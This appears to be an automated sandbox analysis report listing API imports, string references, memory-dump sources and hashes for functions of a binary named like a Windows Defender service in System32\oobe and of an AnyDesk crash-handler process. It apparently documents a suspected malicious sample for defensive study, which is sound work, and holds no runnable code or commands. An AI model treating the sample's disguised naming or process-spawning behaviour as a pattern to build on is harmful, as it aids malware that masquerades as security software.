API ID: ErrorFileFreeHeapLastModuleName_invalid_parameter_noinfo
String ID: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe
API String ID: 3580290477-1991816072
Opcode ID: c7ce43bd8065d113563e93934c7efb2166c296d5945c70c02e0617e6608e1cbd
Instruction ID: 8f28251947a1f75bc3877b9bf567ee38ec08ece0f5a720f728059cef83be5a09
Opcode Fuzzy Hash: c7ce43bd8065d113563e93934c7efb2166c296d5945c70c02e0617e6608e1cbd
Instruction Fuzzy Hash: 4B417132A08616C6EB1DEF25F4401BCA795FB44B84B844035E94E87B95DF3CEA819738

Function 00007FF76E1A37A4 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00007FF76E1A38BB
GetLastError.KERNEL32 ref: 00007FF76E1A38DD

Strings

U, xrefs: 00007FF76E1A3867

Memory Dump Source

Source File: 00000005.00000002.2169025101.00007FF76E181000.00000040.00000001.01000000.00000006.sdmp, Offset: 00007FF76E180000, based on PE: true

Associated: 00000005.00000002.2169012338.00007FF76E180000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1C9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1D1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169084411.00007FF76E1D2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169098908.00007FF76E1D3000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff76e180000_MicrosoftWindowsDefenderCoreService.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 661a253012c350d1591fa1e673cc383de945a6ecb0d554cda199366c01c008e0
Instruction ID: 08285e0f34adff1b9885e52338761e48ad4e97754d745154a4e4d7c4fc843c5f
Opcode Fuzzy Hash: 661a253012c350d1591fa1e673cc383de945a6ecb0d554cda199366c01c008e0
Instruction Fuzzy Hash: 09418362B18A41C1DB149F25F4443BDA7A1FB84794F804131DE4D87B98DF3CD445D764

Function 00007FF76E181F30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 82COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF76E181FDF
__std_exception_copy.LIBVCRUNTIME ref: 00007FF76E182018

Strings

ios_base::failbit set, xrefs: 00007FF76E181F30

Memory Dump Source

Source File: 00000005.00000002.2169025101.00007FF76E181000.00000040.00000001.01000000.00000006.sdmp, Offset: 00007FF76E180000, based on PE: true

Associated: 00000005.00000002.2169012338.00007FF76E180000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1C9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1D1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169084411.00007FF76E1D2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169098908.00007FF76E1D3000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff76e180000_MicrosoftWindowsDefenderCoreService.jbxd

Similarity

API ID: __std_exception_copy_invalid_parameter_noinfo_noreturn
String ID: ios_base::failbit set
API String ID: 1109970293-3924258884
Opcode ID: ad205b503376cc66794e463eec2ea4e0d7f3e8de40c10478924d38c4c25f27c2
Instruction ID: ad95344092209cf65c9689bac5537161604d27f60b648f20554d73b579dde033
Opcode Fuzzy Hash: ad205b503376cc66794e463eec2ea4e0d7f3e8de40c10478924d38c4c25f27c2
Instruction Fuzzy Hash: 0E21E962E18BC5C1E7049B24F4411BAA360FF597A0F54A331EAAC127D5EF2CD5D4C324

Function 00007FF76E18DF40 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 81COMMON

Download Yara Rule

Strings

ios_base::failbit set, xrefs: 00007FF76E18E345

Memory Dump Source

Source File: 00000005.00000002.2169025101.00007FF76E181000.00000040.00000001.01000000.00000006.sdmp, Offset: 00007FF76E180000, based on PE: true

Associated: 00000005.00000002.2169012338.00007FF76E180000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1C9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1D1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169084411.00007FF76E1D2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169098908.00007FF76E1D3000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff76e180000_MicrosoftWindowsDefenderCoreService.jbxd

Similarity

API ID:
String ID: ios_base::failbit set
API String ID: 0-3924258884
Opcode ID: fcec7a1fe12a37619028288773bb44af9363bc22db796437b84b984bbf840e31
Instruction ID: 2ed8e5abecbdfbbd70f3bfc0c17bbe7501988ef262b6462a1828c7e6f6229d39
Opcode Fuzzy Hash: fcec7a1fe12a37619028288773bb44af9363bc22db796437b84b984bbf840e31
Instruction Fuzzy Hash: 75213B52B09742C5EA187B11B4003BAA1449B047E4F940731DE7D077C2DE3CA582B335

Function 00007FF76E192494 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32 ref: 00007FF76E1924E4
RaiseException.KERNEL32 ref: 00007FF76E192525

Strings

csm, xrefs: 00007FF76E192512

Memory Dump Source

Source File: 00000005.00000002.2169025101.00007FF76E181000.00000040.00000001.01000000.00000006.sdmp, Offset: 00007FF76E180000, based on PE: true

Associated: 00000005.00000002.2169012338.00007FF76E180000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1C9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1D1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169084411.00007FF76E1D2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169098908.00007FF76E1D3000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff76e180000_MicrosoftWindowsDefenderCoreService.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 03fb329d4361a2ddeb27f03ccd46364298fd356b6db149a3cdc49d9177b62aae
Instruction ID: c2cc1af041719a4114c2a0f9e077359cc92fe599d9f7384e1d5a73c515403979
Opcode Fuzzy Hash: 03fb329d4361a2ddeb27f03ccd46364298fd356b6db149a3cdc49d9177b62aae
Instruction Fuzzy Hash: EA111C32618B41C2EB259B15F444269B7E5FB88B84F984231DE8C07B58DF3CD951DB14

Function 00007FF76E181580 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 00007FF76E18158B
__std_exception_copy.LIBVCRUNTIME ref: 00007FF76E1815C4

Strings

string too long, xrefs: 00007FF76E181584

Memory Dump Source

Source File: 00000005.00000002.2169025101.00007FF76E181000.00000040.00000001.01000000.00000006.sdmp, Offset: 00007FF76E180000, based on PE: true

Associated: 00000005.00000002.2169012338.00007FF76E180000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1C9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1D1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169084411.00007FF76E1D2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169098908.00007FF76E1D3000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff76e180000_MicrosoftWindowsDefenderCoreService.jbxd

Similarity

API ID: Xinvalid_argument__std_exception_copystd::_
String ID: string too long
API String ID: 2536225881-2556327735
Opcode ID: 19607974dd3a492329af1dcf59571df2ac1afc7934e5d7e8f422ccd63231f6ad
Instruction ID: a2e479c3760d67d4474b8b6de417dab8403e709017c8158f17af7d1470b931c4
Opcode Fuzzy Hash: 19607974dd3a492329af1dcf59571df2ac1afc7934e5d7e8f422ccd63231f6ad
Instruction Fuzzy Hash: E5E06D61A14B49D1EB09BF21F8800B8B3A1EF68B00BD49232D95C46361EE2CE1E5D324

Analysis Process: AnyDeskCrashHandler.exePID: 5996, Parent PID: 6636COMMON

Execution Graph

Execution Coverage:	7.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1637
Total number of Limit Nodes:	9

Executed Functions

Function 00007FF7AA951290 Relevance: 56.7, APIs: 8, Strings: 24, Instructions: 707
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCommandLineW.KERNEL32 ref: 00007FF7AA9512B4
CommandLineToArgvW.SHELL32 ref: 00007FF7AA9512C4

Part of subcall function 00007FF7AA9523F0: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AA95251D
Part of subcall function 00007FF7AA9523F0: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7AA952523

Sleep.KERNEL32 ref: 00007FF7AA951503
OpenProcess.KERNEL32 ref: 00007FF7AA951513
GetExitCodeProcess.KERNEL32 ref: 00007FF7AA95152C
CloseHandle.KERNEL32 ref: 00007FF7AA95154A
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AA95161D
CloseHandle.KERNEL32 ref: 00007FF7AA951626

Part of subcall function 00007FF7AA9511C0: CreateProcessW.KERNEL32 ref: 00007FF7AA951248
Part of subcall function 00007FF7AA9511C0: WaitForSingleObject.KERNEL32 ref: 00007FF7AA95125C
Part of subcall function 00007FF7AA9511C0: CloseHandle.KERNEL32 ref: 00007FF7AA951267
Part of subcall function 00007FF7AA9511C0: CloseHandle.KERNEL32 ref: 00007FF7AA951272

Strings

v, xrefs: 00007FF7AA951B6C
O, xrefs: 00007FF7AA951B7F
", xrefs: 00007FF7AA951B4C
q, xrefs: 00007FF7AA951BC4
f, xrefs: 00007FF7AA951AEC
e, xrefs: 00007FF7AA951B54
e, xrefs: 00007FF7AA951B96
y, xrefs: 00007FF7AA951AF4
q, xrefs: 00007FF7AA951BAD
E, xrefs: 00007FF7AA951AD4
{, xrefs: 00007FF7AA951B04
^, xrefs: 00007FF7AA951ADC
v, xrefs: 00007FF7AA951B0C
f, xrefs: 00007FF7AA951B2C
o, xrefs: 00007FF7AA951B14
^, xrefs: 00007FF7AA951AFC
e, xrefs: 00007FF7AA951B24
g, xrefs: 00007FF7AA951B34
1, xrefs: 00007FF7AA951B44
u, xrefs: 00007FF7AA951B5C
k, xrefs: 00007FF7AA951AE4
c, xrefs: 00007FF7AA951B64
g, xrefs: 00007FF7AA951B3C
4, xrefs: 00007FF7AA951B1C

Memory Dump Source

Source File: 00000007.00000002.2223983686.00007FF7AA951000.00000040.00000001.01000000.00000007.sdmp, Offset: 00007FF7AA950000, based on PE: true

Associated: 00000007.00000002.2223960740.00007FF7AA950000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2223983686.00007FF7AA96C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2223983686.00007FF7AA972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2224096573.00007FF7AA973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2224128280.00007FF7AA974000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff7aa950000_AnyDeskCrashHandler.jbxd

Similarity

API ID: CloseHandle$Process$CommandLine_invalid_parameter_noinfo_noreturn$ArgvCodeConcurrency::cancel_current_taskCreateExitObjectOpenSingleSleepWait
String ID: "$1$4$E$O$^$^$c$e$e$e$f$f$g$g$k$o$q$q$u$v$v$y${
API String ID: 2156799773-2036417650
Opcode ID: 55396bdfbc0e32f47eca3f0b08b3f9269952f8e0748cca96d6bd72cea9e19cbb
Instruction ID: 19226b8963e33826b7fdf7547bb55d06f13c431aba2bb5a7a4a892657a4d53f2
Opcode Fuzzy Hash: 55396bdfbc0e32f47eca3f0b08b3f9269952f8e0748cca96d6bd72cea9e19cbb
Instruction Fuzzy Hash: EA82325AA16252C9F320BF71E4012FD73F0FF18709B419076EA888B675EB7D9446C72A

Function 00007FF7AA95B490 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32 ref: 00007FF7AA95B60C
GetProcAddress.KERNEL32 ref: 00007FF7AA95B618

Strings

ext-ms-, xrefs: 00007FF7AA95B569
api-ms-, xrefs: 00007FF7AA95B556

Memory Dump Source

Source File: 00000007.00000002.2223983686.00007FF7AA951000.00000040.00000001.01000000.00000007.sdmp, Offset: 00007FF7AA950000, based on PE: true

Associated: 00000007.00000002.2223960740.00007FF7AA950000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2223983686.00007FF7AA96C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2223983686.00007FF7AA972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2224096573.00007FF7AA973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2224128280.00007FF7AA974000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff7aa950000_AnyDeskCrashHandler.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: b30e28bd0cd48f27bf1a31ff5ea156d3804f5e8b499c2477a6b867bb355f5e73
Instruction ID: e63d7ebdd406cb08e0deaee27dafcd4962fb7c491c817fdb7a58a57c3bf11ef8
Opcode Fuzzy Hash: b30e28bd0cd48f27bf1a31ff5ea156d3804f5e8b499c2477a6b867bb355f5e73
Instruction Fuzzy Hash: 1241C125B1AA12C5FE15AB1698116B5A291BF49BA0F874175DD0EC77A4EF3CE40B8320

Function 00007FF7AA9511C0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 44
processsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNEL32 ref: 00007FF7AA951248
WaitForSingleObject.KERNEL32 ref: 00007FF7AA95125C
CloseHandle.KERNEL32 ref: 00007FF7AA951267
CloseHandle.KERNEL32 ref: 00007FF7AA951272

Strings

h, xrefs: 00007FF7AA9511DF

Memory Dump Source

Source File: 00000007.00000002.2223983686.00007FF7AA951000.00000040.00000001.01000000.00000007.sdmp, Offset: 00007FF7AA950000, based on PE: true

Associated: 00000007.00000002.2223960740.00007FF7AA950000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2223983686.00007FF7AA96C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2223983686.00007FF7AA972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2224096573.00007FF7AA973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2224128280.00007FF7AA974000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff7aa950000_AnyDeskCrashHandler.jbxd

Similarity

API ID: CloseHandle$CreateObjectProcessSingleWait
String ID: h
API String ID: 2059082233-2439710439
Opcode ID: 5b8cf0092febe8dd4bed2618a947a67060a1088977b281d69a45aa787853e3eb
Instruction ID: 05a3a8be96edc1ca54a77a4dd8bc0f0d6ac34b8f37e6d69283514dc491c2bfab
Opcode Fuzzy Hash: 5b8cf0092febe8dd4bed2618a947a67060a1088977b281d69a45aa787853e3eb
Instruction Fuzzy Hash: 8F113B23E1DBC1C2E750DB24E85436EB3A0FBD9784F525339EA9D86A24DF78D0958B00

Function 00007FF7AA955E2C Relevance: 4.5, APIs: 3, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF7AA955E3D
TerminateProcess.KERNEL32 ref: 00007FF7AA955E48
ExitProcess.KERNEL32 ref: 00007FF7AA955E57

Memory Dump Source

Source File: 00000007.00000002.2223983686.00007FF7AA951000.00000040.00000001.01000000.00000007.sdmp, Offset: 00007FF7AA950000, based on PE: true

Associated: 00000007.00000002.2223960740.00007FF7AA950000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2223983686.00007FF7AA96C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2223983686.00007FF7AA972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2224096573.00007FF7AA973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2224128280.00007FF7AA974000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff7aa950000_AnyDeskCrashHandler.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 538b37713ac9a40f89ee0efd905f114fa4b6245a37a66674d184e74d9b678618
Instruction ID: e824600cc66b3554a6a647ee6659cad667f46d275ce807b955f9f80b2745b625
Opcode Fuzzy Hash: 538b37713ac9a40f89ee0efd905f114fa4b6245a37a66674d184e74d9b678618
Instruction Fuzzy Hash: 79D06720B1A646D2FE587B71689A17892115F48745F9615BCC90EC73A3DE2EA80F8321

Function 00007FF7AA9527DC Relevance: 3.1, APIs: 2, Instructions: 98
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7AA952C70: __scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF7AA952C84

__scrt_release_startup_lock.LIBCMT ref: 00007FF7AA95286E
__scrt_get_show_window_mode.LIBCMT ref: 00007FF7AA9528C1

Memory Dump Source

Source File: 00000007.00000002.2223983686.00007FF7AA951000.00000040.00000001.01000000.00000007.sdmp, Offset: 00007FF7AA950000, based on PE: true

Associated: 00000007.00000002.2223960740.00007FF7AA950000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2223983686.00007FF7AA96C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2223983686.00007FF7AA972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2224096573.00007FF7AA973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2224128280.00007FF7AA974000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff7aa950000_AnyDeskCrashHandler.jbxd

Similarity

API ID: __scrt_dllmain_crt_thread_attach__scrt_get_show_window_mode__scrt_release_startup_lock
String ID:
API String ID: 3070443116-0
Opcode ID: 4fc66f674771a642c276f3b7107815a4453248af2fe5cf5af13cbfa4e39b06b6
Instruction ID: 4b9fdce453c25e1b6182bd71b6e2cca11d28f97ea71e0cab70650d7db260d5d0
Opcode Fuzzy Hash: 4fc66f674771a642c276f3b7107815a4453248af2fe5cf5af13cbfa4e39b06b6
Instruction Fuzzy Hash: D0310711E0A243C1FE58BB6595533B9A290AF51344FD604B9EA0ECB2F3DE2CA54F8731

Function 00007FF7AA955D5D Relevance: 1.6, APIs: 1, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF7AA955D8B

Part of subcall function 00007FF7AA955E84: GetModuleHandleExW.KERNEL32 ref: 00007FF7AA955EA9
Part of subcall function 00007FF7AA955E84: GetProcAddress.KERNEL32 ref: 00007FF7AA955EBF
Part of subcall function 00007FF7AA955E84: FreeLibrary.KERNEL32 ref: 00007FF7AA955EE6

Memory Dump Source

Source File: 00000007.00000002.2223983686.00007FF7AA951000.00000040.00000001.01000000.00000007.sdmp, Offset: 00007FF7AA950000, based on PE: true

Associated: 00000007.00000002.2223960740.00007FF7AA950000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2223983686.00007FF7AA96C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2223983686.00007FF7AA972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2224096573.00007FF7AA973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2224128280.00007FF7AA974000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff7aa950000_AnyDeskCrashHandler.jbxd

Similarity

API ID: HandleModule$AddressFreeLibraryProc
String ID:
API String ID: 3947729631-0
Opcode ID: 096c50b28ef02ac97b7fbb41d5ffc398b2530bbda9989156a02e9da1b299d600
Instruction ID: 05951b23d8aa0ce08f56e2779035b228aae8716c7447f7e8b7391a56888dd2f1
Opcode Fuzzy Hash: 096c50b28ef02ac97b7fbb41d5ffc398b2530bbda9989156a02e9da1b299d600
Instruction Fuzzy Hash: A221BF32E06606C9FF24AF64C4453AC33A0EB04318F950639DA1C86AE6DF79D54ACBA0

Non-executed Functions

Function 00007FF7AA952FB4 Relevance: 10.6, APIs: 7, Instructions: 71
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF7AA952FD0
RtlCaptureContext.KERNEL32 ref: 00007FF7AA952FFD
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF7AA953017
RtlVirtualUnwind.KERNEL32 ref: 00007FF7AA953058
IsDebuggerPresent.KERNEL32 ref: 00007FF7AA9530AC
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF7AA9530C9
UnhandledExceptionFilter.KERNEL32 ref: 00007FF7AA9530D4

Memory Dump Source

Source File: 00000007.00000002.2223983686.00007FF7AA951000.00000040.00000001.01000000.00000007.sdmp, Offset: 00007FF7AA950000, based on PE: true

Associated: 00000007.00000002.2223960740.00007FF7AA950000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2223983686.00007FF7AA96C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2223983686.00007FF7AA972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2224096573.00007FF7AA973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2224128280.00007FF7AA974000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff7aa950000_AnyDeskCrashHandler.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 8f52d899b0c822738a6be879117695353cf3926ba201aa6cbb5a93e39f724cd6
Instruction ID: a23a383e7b7f6aaed305a7b41020d7c4c865cd28d214ce86bad0d1ca290f9228
Opcode Fuzzy Hash: 8f52d899b0c822738a6be879117695353cf3926ba201aa6cbb5a93e39f724cd6
Instruction Fuzzy Hash: 0331127260AB81C5FB60AF60E8503EE7364FB84744F55407ADA4D87BA9DF38D549C710

Function 00007FF7AA956964 Relevance: 9.1, APIs: 6, Instructions: 83
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF7AA9569DD
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF7AA9569F5
RtlVirtualUnwind.KERNEL32 ref: 00007FF7AA956A30
IsDebuggerPresent.KERNEL32 ref: 00007FF7AA956A69
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF7AA956A73
UnhandledExceptionFilter.KERNEL32 ref: 00007FF7AA956A7E

Memory Dump Source

Source File: 00000007.00000002.2223983686.00007FF7AA951000.00000040.00000001.01000000.00000007.sdmp, Offset: 00007FF7AA950000, based on PE: true

Associated: 00000007.00000002.2223960740.00007FF7AA950000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2223983686.00007FF7AA96C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2223983686.00007FF7AA972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2224096573.00007FF7AA973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2224128280.00007FF7AA974000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff7aa950000_AnyDeskCrashHandler.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: e2ea2adcc270ce3856cbe536865dde51c27872e812a40651d9b59811c8af80ab
Instruction ID: 583480adee616b36ca2f86d55203680ff014d15e669d41d47758e1cc60c1f6b1
Opcode Fuzzy Hash: e2ea2adcc270ce3856cbe536865dde51c27872e812a40651d9b59811c8af80ab
Instruction Fuzzy Hash: 6B317632619B82C5EF60DF25E8412ADB3A0FB89754F950175EA8D83B64DF3CD54ACB10

Function 00007FF7AA954688 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 310
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00007FF7AA9546E5

Part of subcall function 00007FF7AA9555AC: __GetUnwindTryBlock.LIBCMT ref: 00007FF7AA9555EF
Part of subcall function 00007FF7AA9555AC: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00007FF7AA955614

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FF7AA9547BD
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00007FF7AA954A0B
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF7AA954B18

Strings

csm, xrefs: 00007FF7AA9547E0
csm, xrefs: 00007FF7AA954766
csm, xrefs: 00007FF7AA9546FF

Memory Dump Source

Source File: 00000007.00000002.2223983686.00007FF7AA951000.00000040.00000001.01000000.00000007.sdmp, Offset: 00007FF7AA950000, based on PE: true

Associated: 00000007.00000002.2223960740.00007FF7AA950000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2223983686.00007FF7AA96C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2223983686.00007FF7AA972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2224096573.00007FF7AA973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2224128280.00007FF7AA974000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff7aa950000_AnyDeskCrashHandler.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 8d3b3d0b136c0d1b28f68fd32bfa28257ab0fb809a93d522a45e85d31cd486b8
Instruction ID: e74cb4307af0fef6f7c4abe5c64f7f5d314723cc2e75d2239db82c725d0dfba3
Opcode Fuzzy Hash: 8d3b3d0b136c0d1b28f68fd32bfa28257ab0fb809a93d522a45e85d31cd486b8
Instruction Fuzzy Hash: F2D1B132909742C6FF60AB25D4423ADB7A1FB85788F910175DE4D87B66DF38E09AC710

Function 00007FF7AA955F74 Relevance: 11.0, APIs: 3, Strings: 3, Instructions: 494COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7AA955FB7
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7AA9563A4
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7AA956640

Strings

p, xrefs: 00007FF7AA956069
f, xrefs: 00007FF7AA9560D9
p, xrefs: 00007FF7AA9560E1

Memory Dump Source

Source File: 00000007.00000002.2223983686.00007FF7AA951000.00000040.00000001.01000000.00000007.sdmp, Offset: 00007FF7AA950000, based on PE: true

Associated: 00000007.00000002.2223960740.00007FF7AA950000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2223983686.00007FF7AA96C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2223983686.00007FF7AA972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2224096573.00007FF7AA973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2224128280.00007FF7AA974000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff7aa950000_AnyDeskCrashHandler.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: f$p$p
API String ID: 3215553584-1995029353
Opcode ID: 2db86bdd0b4c4cd621bef344b6d918bb67484dc4c7676120007631029398bba2
Instruction ID: 5e35bdd6d8a75176081c3e2006b6e227823697bc27b190e0fd0bd90a4d65254c
Opcode Fuzzy Hash: 2db86bdd0b4c4cd621bef344b6d918bb67484dc4c7676120007631029398bba2
